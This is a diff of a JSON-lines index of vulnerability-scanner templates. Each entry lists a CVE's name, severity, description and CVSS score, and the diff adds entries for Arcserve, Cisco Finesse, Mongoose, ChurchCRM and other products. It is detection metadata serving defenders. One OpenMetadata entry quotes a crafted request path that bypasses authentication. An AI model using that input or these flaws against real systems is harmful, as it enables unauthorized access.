 {"ID":"CVE-2024-0593","Info":{"Name":"WordPress Simple Job Board - Unauthorized Data Access","Severity":"medium","Description":"The Simple Job Board plugin for WordPress is vulnerable to unauthorized data access due to insufficient authorization checking in the fetch_quick_job() function in all versions up to and including 2.10.8. This makes it possible for unauthenticated attackers to fetch arbitrary posts, which can be password protected or private and contain sensitive information.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-0593.yaml"}
 {"ID":"CVE-2024-0692","Info":{"Name":"SolarWinds Security Event Manager - Unauthenticated RCE","Severity":"high","Description":"The SolarWinds Security Event Manager was susceptible to Remote Code Execution Vulnerability. This vulnerability allows an unauthenticated user to abuse SolarWinds’ service, resulting in remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-0692.yaml"}
 {"ID":"CVE-2024-0713","Info":{"Name":"Monitorr Services Configuration - Arbitrary File Upload","Severity":"high","Description":"A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-0713.yaml"}
+{"ID":"CVE-2024-0799","Info":{"Name":"Arcserve Unified Data Protection - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in the edge-app-base-webui.jar!com.ca.arcserve.edge.app.base.ui.server.EdgeLoginServiceImpl.doLogin() function within wizardLogin.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0799.yaml"}
+{"ID":"CVE-2024-0801","Info":{"Name":"Arcserve Unified Data Protection - Unauthenticated DoS in ASNative.dll","Severity":"high","Description":"A denial of service vulnerability exists in Arcserve Unified Data Protection 9.2 and 8.1 in ASNative.dll.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-0801.yaml"}
 {"ID":"CVE-2024-0881","Info":{"Name":"Combo Blocks \u003c 2.2.76 - Improper Access Control","Severity":"medium","Description":"The Post Grid, Form Maker, Popup Maker, WooCommerce Blocks, Post Blocks, Post Carousel WordPress plugin before 2.2.76 does not prevent password protected posts from being displayed in the result of some unauthenticated AJAX actions, allowing unauthenticated users to read such posts\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-0881.yaml"}
 {"ID":"CVE-2024-0939","Info":{"Name":"Smart S210 Management Platform - Arbitary File Upload","Severity":"critical","Description":"A vulnerability has been found in Byzoro Smart S210 Management Platform up to 20240117 and classified as critical. This vulnerability affects unknown code of the file /Tool/uploadfile.php. The manipulation of the argument file_upload leads to unrestricted upload.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-0939.yaml"}
 {"ID":"CVE-2024-0986","Info":{"Name":"Issabel Authenticated - Remote Code Execution","Severity":"medium","Description":"A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252251. NOTE- The vendor was contacted early about this disclosure but did not respond in any way.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2024/CVE-2024-0986.yaml"}
@@ -2818,6 +2832,7 @@
 {"ID":"CVE-2024-1698","Info":{"Name":"NotificationX \u003c= 2.8.2 - SQL Injection","Severity":"critical","Description":"The NotificationX - Best FOMO, Social Proof, WooCommerce Sales Popup \u0026 Notification Bar Plugin With Elementor plugin for WordPress is vulnerable to SQL Injection via the 'type' parameter in all versions up to, and including, 2.8.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-1698.yaml"}
 {"ID":"CVE-2024-1709","Info":{"Name":"ConnectWise ScreenConnect 23.9.7 - Authentication Bypass","Severity":"critical","Description":"ConnectWise ScreenConnect 23.9.7 and prior are affected by an Authentication Bypass Using an Alternate Path or Channel vulnerability, which may allow an attacker direct access to confidential information or critical systems.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-1709.yaml"}
 {"ID":"CVE-2024-1728","Info":{"Name":"Gradio \u003e 4.19.1 UploadButton - Path Traversal","Severity":"high","Description":"gradio-app/gradio is vulnerable to a local file inclusion vulnerability due to improper validation of user-supplied input in the UploadButton component.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-1728.yaml"}
+{"ID":"CVE-2024-20404","Info":{"Name":"Cisco Finesse - Server-Side Request Forgery (SSRF)","Severity":"medium","Description":"Cisco Finesse contains an SSRF caused by insufficient validation of user-supplied input in HTTP requests, letting unauthenticated remote attackers access limited sensitive information, exploit requires sending crafted HTTP requests.\n","Classification":{"CVSSScore":"5.8"}},"file_path":"http/cves/2024/CVE-2024-20404.yaml"}
 {"ID":"CVE-2024-20419","Info":{"Name":"Cisco SSM On-Prem \u003c= 8-202206 - Password Reset Account Takeover","Severity":"critical","Description":"A vulnerability in the authentication system of Cisco Smart Software Manager On-Prem (SSM On-Prem) could allow an unauthenticated, remote attacker to change the password of any user, including administrative users. This vulnerability is due to improper implementation of the password-change process.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2024/CVE-2024-20419.yaml"}
 {"ID":"CVE-2024-20439","Info":{"Name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","Severity":"critical","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to log in to an affected system by using a static administrative credential.This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to log in to the affected system. A successful exploit could allow the attacker to log in to the affected system with administrative privileges over the API of the Cisco Smart Licensing Utility application.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-20439.yaml"}
 {"ID":"CVE-2024-20440","Info":{"Name":"Cisco Smart Licensing Utility UnAuthenticated Logs Exposure Leaking Plaintext Credentials","Severity":"high","Description":"A vulnerability in Cisco Smart Licensing Utility could allow an unauthenticated, remote attacker to access sensitive information.This vulnerability is due to excessive verbosity in a debug log file. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected device. A successful exploit could allow the attacker to obtain log files that contain sensitive data, including credentials that can be used to access the API.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-20440.yaml"}
@@ -2883,6 +2898,7 @@
 {"ID":"CVE-2024-28000","Info":{"Name":"WordPress LiteSpeed Cache - Unauthenticated Privilege Escalation to Admin","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in LiteSpeed Technologies LiteSpeed Cache litespeed-cache allows Privilege Escalation.This issue affects LiteSpeed Cache: from 1.9 through 6.3.0.1.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-28000.yaml"}
 {"ID":"CVE-2024-28255","Info":{"Name":"OpenMetadata - Authentication Bypass","Severity":"critical","Description":"OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The `JwtFilter` handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to `GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111` will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the `SecurityContext.getUserPrincipal()` since it will return `null` and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-237`.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-28255.yaml"}
 {"ID":"CVE-2024-28397","Info":{"Name":"pyload-ng js2py - Remote Code Execution","Severity":"medium","Description":"An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-28397.yaml"}
+{"ID":"CVE-2024-28623","Info":{"Name":"RiteCMS 3.0.0 - Cross-site Scripting","Severity":"medium","Description":"RiteCMS v3.0.0 contains a reflected XSS caused by unsanitized input in the main_menu/edit_section component, letting attackers execute arbitrary scripts in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-28623.yaml"}
 {"ID":"CVE-2024-28734","Info":{"Name":"Coda v.2024Q1 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-28734.yaml"}
 {"ID":"CVE-2024-2876","Info":{"Name":"Wordpress Email Subscribers by Icegram Express - SQL Injection","Severity":"critical","Description":"The Email Subscribers by Icegram Express - Email Marketing, Newsletters, Automation for WordPress \u0026 WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'run' function of the 'IG_ES_Subscribers_Query' class in all versions up to, and including, 5.7.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-2876.yaml"}
 {"ID":"CVE-2024-2879","Info":{"Name":"WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection","Severity":"high","Description":"The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-2879.yaml"}
@@ -2980,6 +2996,7 @@
 {"ID":"CVE-2024-37393","Info":{"Name":"SecurEnvoy Two Factor Authentication - LDAP Injection","Severity":"critical","Description":"Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37393.yaml"}
 {"ID":"CVE-2024-3742","Info":{"Name":"Electrolink FM/DAB/TV Transmitter (controlloLogin.js) - Credentials Disclosure","Severity":"high","Description":"Electrolink transmitters store credentials in clear-text. Use of these credentials could allow an attacker to access the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-3742.yaml"}
 {"ID":"CVE-2024-3753","Info":{"Name":"Hostel \u003c 1.1.5.3 - Cross-Site Scripting","Severity":"medium","Description":"The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2024/CVE-2024-3753.yaml"}
+{"ID":"CVE-2024-37656","Info":{"Name":"GnuBoard5 5.5.16 - Open Redirect","Severity":"medium","Description":"Gnuboard5 5.5.16 contains an open redirect vulnerability caused by insufficient URL parameter verification in bbs/logout.php, letting remote attackers redirect users to arbitrary URLs, exploit requires crafted URL parameter.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2024/CVE-2024-37656.yaml"}
 {"ID":"CVE-2024-37728","Info":{"Name":"OfficeWeb365 Indexs Interface - Arbitrary File Read","Severity":"high","Description":"There is any file reading in the officeWeb365 Indexs interface.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-37728.yaml"}
 {"ID":"CVE-2024-37843","Info":{"Name":"Craft CMS \u003c=v3.7.31 - SQL Injection","Severity":"critical","Description":"Craft CMS up to v3.7.31 was discovered to contain a SQL injection vulnerability via the GraphQL API endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-37843.yaml"}
 {"ID":"CVE-2024-37881","Info":{"Name":"SiteGuard WP Plugin \u003c= 1.7.6 - Login Page Disclosure","Severity":"medium","Description":"The SiteGuard WP Plugin plugin for WordPress is vulnerable to protection mechanism bypass in all versions up to, and including, 1.7.6. This is due to the plugin not restricting redirects from wp-register.php which may disclose the login page URL. This makes it possible for unauthenticated attackers to gain access to the login page.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-37881.yaml"}
@@ -3081,6 +3098,7 @@
 {"ID":"CVE-2024-50623","Info":{"Name":"Cleo Harmony \u003c 5.8.0.21 - Arbitary File Read","Severity":"high","Description":"In Cleo Harmony before 5.8.0.21, VLTrader before 5.8.0.21, and LexiCom before 5.8.0.21, there is an unrestricted file upload and download that could lead to remote code execution.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2024/CVE-2024-50623.yaml"}
 {"ID":"CVE-2024-5082","Info":{"Name":"Nexus Repository 2 - Remote Code Execution","Severity":"high","Description":"A Remote Code Execution vulnerability has been discovered in Sonatype Nexus Repository 2.This issue affects Nexus Repository 2 OSS/Pro versions up to and including 2.15.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-5082.yaml"}
 {"ID":"CVE-2024-5084","Info":{"Name":"Hash Form \u003c= 1.1.0 - Arbitrary File Upload","Severity":"critical","Description":"The Hash Form Drag \u0026 Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-5084.yaml"}
+{"ID":"CVE-2024-50857","Info":{"Name":"GestioIP - Reflected Cross-Site Scripting","Severity":"medium","Description":"GestioIP v3.5.7 contains a reflected cross-site scripting caused by unsanitized input in the ip_do_job request, letting attackers execute scripts in the victim's browser, exploit requires specific user permissions.\n","Classification":{"CVSSScore":"4.8"}},"file_path":"http/cves/2024/CVE-2024-50857.yaml"}
 {"ID":"CVE-2024-50967","Info":{"Name":"DATAGERRY - Improper Access Control","Severity":"high","Description":"The /rest/rights/ REST API endpoint in Becon DATAGerry through 2.2.0 contains an Incorrect Access Control vulnerability. An attacker can remotely access this endpoint without authentication, leading to unauthorized disclosure of sensitive information.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-50967.yaml"}
 {"ID":"CVE-2024-51211","Info":{"Name":"openSIS Classic v9.1 - SQL Injection","Severity":"critical","Description":"SQL injection vulnerability exists in OS4ED openSIS-Classic Version 9.1, specifically in the resetuserinfo.php file. The vulnerability is due to improper input validation of the $username_stn_id parameter, which can be manipulated by an attacker to inject arbitrary SQL commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-51211.yaml"}
 {"ID":"CVE-2024-51228","Info":{"Name":"TOTOLINK CX-A3002RU - Remote Code Execution","Severity":"medium","Description":"An issue in TOTOLINK-CX-A3002RU V1.0.4-B20171106.1512 and TOTOLINK-CX-N150RT V2.1.6-B20171121.1002 and TOTOLINK-CX-N300RT V2.1.6-B20170724.1420 and TOTOLINK-CX-N300RT V2.1.8-B20171113.1408 and TOTOLINK-CX-N300RT V2.1.8-B20191010.1107 and TOTOLINK-CX-N302RE V2.0.2-B20170511.1523 allows a remote attacker to execute arbitrary code via the /boafrm/formSysCmd component.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2024/CVE-2024-51228.yaml"}
@@ -3102,7 +3120,9 @@
 {"ID":"CVE-2024-5315","Info":{"Name":"Dolibarr ERP CMS `list.php` - SQL Injection","Severity":"critical","Description":"Vulnerabilities in Dolibarr ERP - CRM that affect version 9.0.1 and allow SQL injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-5315.yaml"}
 {"ID":"CVE-2024-5334","Info":{"Name":"Devika - Local File Inclusion","Severity":"high","Description":"A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-5334.yaml"}
 {"ID":"CVE-2024-53704","Info":{"Name":"SSL VPN Session Hijacking","Severity":"critical","Description":"An Improper Authentication vulnerability in the SSLVPN authentication mechanism allows a remote attacker to bypass authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-53704.yaml"}
+{"ID":"CVE-2024-53900","Info":{"Name":"Mongoose \u003c 8.8.3 - Remote Code Execution","Severity":"critical","Description":"Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2024/CVE-2024-53900.yaml"}
 {"ID":"CVE-2024-53991","Info":{"Name":"Discourse Backup File Disclosure Via Default Nginx Configuration","Severity":"high","Description":"Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-53991.yaml"}
+{"ID":"CVE-2024-53995","Info":{"Name":"SickChill - Open Redirect","Severity":"low","Description":"SickChill's login endpoint's 'next_' parameter accepts arbitrary content, allowing authenticated attackers to perform open redirects, but this was fixed in commit c7128a8946c3701df95c285810eb75b2de18bf82 by redirecting to a default page.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2024/CVE-2024-53995.yaml"}
 {"ID":"CVE-2024-5420","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting","Severity":"high","Description":"A vulnerability was found in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, affecting the device description parameter in the web interface. This flaw allows stored cross-site scripting (XSS), enabling attackers to inject JavaScript code. The attack can be executed remotely by tricking victims into visiting a malicious website, potentially leading to session hijacking. This vulnerability is publicly disclosed and identified as CVE-2024-5420.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-5420.yaml"}
 {"ID":"CVE-2024-5421","Info":{"Name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - File Exposure","Severity":"high","Description":"A vulnerability was identified in utnserver Pro, utnserver ProMAX, and INU-100 version 20.1.22 and earlier, impacting the file handling functions. This flaw results in authenticated file disclosure, granting unauthorized access to sensitive files and directories. Although authentication is required, the vulnerability poses a significant risk of data exposure. This vulnerability is publicly disclosed and identified as CVE-2024-5421.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2024/CVE-2024-5421.yaml"}
 {"ID":"CVE-2024-54330","Info":{"Name":"Hurrakify \u003c= 2.4 - Server-Side Request Forgery","Severity":"high","Description":"The Hurrakify plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-54330.yaml"}
@@ -3201,6 +3221,7 @@
 {"ID":"CVE-2024-8673","Info":{"Name":"Z-Downloads \u003c 1.11.7 - Cross-Site Scripting","Severity":"low","Description":"The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.\n","Classification":{"CVSSScore":"3.5"}},"file_path":"http/cves/2024/CVE-2024-8673.yaml"}
 {"ID":"CVE-2024-8698","Info":{"Name":"Keycloak - SAML Core Package Signature Validation Flaw","Severity":"high","Description":"A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.\n","Classification":{"CVSSScore":"7.7"}},"file_path":"http/cves/2024/CVE-2024-8698.yaml"}
 {"ID":"CVE-2024-8752","Info":{"Name":"WebIQ 2.15.9 - Directory Traversal","Severity":"high","Description":"The Windows version of WebIQ 2.15.9 is affected by a directory traversal vulnerability that allows remote attackers to read any file on the system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2024/CVE-2024-8752.yaml"}
+{"ID":"CVE-2024-8852","Info":{"Name":"All-in-One WP Migration \u003c 7.87 - Unauthenticated Information Disclosure","Severity":"medium","Description":"The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to unauthenticated information disclosure due to its error.log file being publicly accessible in versions before 7.87.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2024/CVE-2024-8852.yaml"}
 {"ID":"CVE-2024-8856","Info":{"Name":"WP Time Capsule Plugin - Remote Code Execution","Severity":"critical","Description":"The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8856.yaml"}
 {"ID":"CVE-2024-8859","Info":{"Name":"Mlflow \u003c 2.17.0 - Local File Inclusion","Severity":"critical","Description":"Mlflow before 2.17.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-8859.yaml"}
 {"ID":"CVE-2024-8877","Info":{"Name":"Riello Netman 204 - SQL Injection","Severity":"critical","Description":"The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-8877.yaml"}
@@ -3233,12 +3254,19 @@
 {"ID":"CVE-2025-0674","Info":{"Name":"Elber ESE DVB-S/S2 - Authentication Bypass","Severity":"critical","Description":"Multiple Elber products are affected by an authentication bypass vulnerability which allows unauthorized access to the password management functionality. Attackers can exploit this issue by manipulating the endpoint to overwrite any user's password within the system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-0674.yaml"}
 {"ID":"CVE-2025-0868","Info":{"Name":"DocsGPT - Unauthenticated Remote Code Execution","Severity":"critical","Description":"A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-0868.yaml"}
 {"ID":"CVE-2025-10035","Info":{"Name":"GoAnywhere - Authentication Bypass","Severity":"critical","Description":"Fortra GoAnywhere MFT contains an insecure deserialization vulnerability in the License Servlet caused by deserializing attacker-controlled objects with a valid forged license response signature, letting attackers perform command injection, exploit requires valid forged license signature.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-10035.yaml"}
+{"ID":"CVE-2025-1023","Info":{"Name":"ChurchCRM - SQL Injection","Severity":"critical","Description":"A vulnerability exists in ChurchCRM 5.13.0 and prior that allows an attacker to execute arbitrary SQL queries by exploiting a time-based blind SQL Injection vulnerability in the EditEventTypes functionality. The newCountName parameter is directly concatenated into an SQL query without proper sanitization, allowing an attacker to manipulate database queries and execute arbitrary commands, potentially leading to data exfiltration, modification, or deletion.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-1023.yaml"}
 {"ID":"CVE-2025-1025","Info":{"Name":"Cockpit \u003c 2.4.1 - Arbitrary File Upload","Severity":"high","Description":"Versions of the package cockpit-hq/cockpit before 2.4.1 are vulnerable to Arbitrary File Upload where an attacker can use different extensions to bypass the upload filter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-1025.yaml"}
 {"ID":"CVE-2025-1035","Info":{"Name":"KLog Server - Path Traversal","Severity":"medium","Description":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Komtera Technolgies KLog Server allows Manipulating Web Input to File System Calls.This issue affects KLog Server: before 3.1.1.\n","Classification":{"CVSSScore":"5.7"}},"file_path":"http/cves/2025/CVE-2025-1035.yaml"}
 {"ID":"CVE-2025-1097","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized `auth-tls-match-cn` Annotation","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1097.yaml"}
 {"ID":"CVE-2025-1098","Info":{"Name":"Ingress-Nginx Controller - Configuration Injection via Unsanitized Mirror Annotations","Severity":"high","Description":"A security issue was discovered in  ingress-nginx https-//github.com/kubernetes/ingress-nginx  where the `mirror-target` and `mirror-host` Ingress annotations can be used to inject arbitrary configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-1098.yaml"}
 {"ID":"CVE-2025-11371","Info":{"Name":"Gladinet CentreStack \u0026 TrioFox - Local File Inclusion","Severity":"medium","Description":"In the default installation and configuration of Gladinet CentreStack and TrioFox, there is an unauthenticated Local File Inclusion Flaw that allows unintended disclosure of system files. Exploitation of this vulnerability has been observed in the wild.  This issue impacts Gladinet CentreStack and Triofox: All versions prior to and including 16.7.10368.56560\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-11371.yaml"}
+{"ID":"CVE-2025-11700","Info":{"Name":"N-central - XML External Entities Injection","Severity":"high","Description":"N-central versions \u003c 2025.4 are vulnerable to an XML External Entities injection leading to information disclosure.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11700.yaml"}
+{"ID":"CVE-2025-11749","Info":{"Name":"WordPress AI Engine Plugin - Token Exposure","Severity":"critical","Description":"Unauthenticated sensitive information exposure in AI Engine WordPress plugin \u003c= 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11749.yaml"}
 {"ID":"CVE-2025-11750","Info":{"Name":"Dify - User Enumeration via \"Account not found\" Message","Severity":"medium","Description":"A user enumeration vulnerability exists in langgenius/dify, where the login API leaks information about whether a user account exists or not. When an invalid/non-existent email is used during login, the API returns a distinct error message such as \"account_not_found\" or \"Account not found.\", allowing attackers to identify valid accounts.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-11750.yaml"}
+{"ID":"CVE-2025-11833","Info":{"Name":"Post SMTP \u003c= 3.6.0 - Email Log Disclosure","Severity":"critical","Description":"Post SMTP WordPress plugin \u003c= 3.6.0 contains an unauthorized data access vulnerability caused by missing capability check in __construct function, letting unauthenticated attackers read arbitrary logged emails, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-11833.yaml"}
+{"ID":"CVE-2025-12055","Info":{"Name":"MPDV Mikrolab GmbH HYDRA X, MIP 2 \u0026 FEDRA 2 - Path Traversal","Severity":"high","Description":"MPDV Mikrolab GmbH HYDRA X, MIP 2, and FEDRA 2 \u003c= Maintenance Pack 36 with Servicepack 8 (week 36/2025) contain an unauthenticated local file disclosure vulnerability caused by improper validation of the \"Filename\" parameter in the public $SCHEMAS$ resource, letting attackers read arbitrary Windows OS files, exploit requires local access.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-12055.yaml"}
